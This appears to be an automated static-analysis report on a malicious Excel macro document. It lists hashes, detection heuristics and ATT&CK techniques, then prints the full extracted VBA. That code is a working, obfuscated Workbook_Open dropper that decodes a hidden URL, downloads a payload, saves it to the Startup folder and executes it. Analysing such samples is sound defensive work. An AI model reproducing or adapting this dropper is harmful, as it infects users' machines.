Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a09a9bef768128dc…

MALICIOUS

Office (OLE)

127.5 KB Created: 2018-05-14 05:28:33 Authoring application: Microsoft Excel First seen: 2019-01-11
MD5: 6b0c299af8162ede87b6b9d353f65823 SHA-1: 52377bd03c5eea215e4d5ce1cb5780d9c528cc7d SHA-256: a09a9bef768128dc08a3be7fd5f3b93f4fc5c0757a61ee84603b7edd421e4c3a
348 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

This Excel document contains VBA macros that utilize WScript.Shell and CreateObject, indicating an attempt to download and execute a second-stage payload. The Workbook_Open macro is automatically executed upon opening the file, and the document body explicitly prompts the user to 'Enable content' to view the document, a common social engineering tactic. The VBA code appears to be obfuscated, but the presence of WScript.Shell and CreateObject strongly suggests malicious intent.

Heuristics 9

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§° = CreateObject("WScript.Shell").Specialfolders(7) + ·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º = ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10069 bytes
SHA-256: 5ca0246dfd9ca1ca3e8a31efd970b299f32bac4a8e02e7a0f18c8561c0fcf099
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub abitcold()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
    Public Function £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·)
        §¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        º»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·)
            ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡ = InStr(§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µ, Mid(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·, i, 1))
            If ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡ > 0 Then
                ½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡ = Mid(º»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ, ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡, 1)
                ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° = ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° + ½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡
            Else
                ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° = ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° + Mid(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·, i, 1)
            End If
        Next
        £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡ = ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°
    End Function

Private Sub Workbook_open()
Set ·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª = CreateObject("Shell.Application")
Set ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶ = CreateObject("microsoft.xmlhttp")
Set µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯ = CreateObject("adodb.stream")
·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ = £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡("\ãZã§¥¥HJK.ÂÛÂ")
³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡ = £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡("hÖÖÓ://ÙÅÄÖÂdÖÔÀÅÕlÀÖÄÒÅÕ.ÁÒm.ÀÙ/zÅ/GAMMA.ÂÛÂ")

¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§° = CreateObject("WScript.Shell").Specialfolders(7) + ·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ
¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.Open "GET", ³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡, False
¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.send
¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º = ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.responseBody
If ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.Status = 200 Then
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Open
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Type = 1
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Write ¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.SaveToFile ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°, 2
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Close
End If
·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª.Open (¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°)


End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True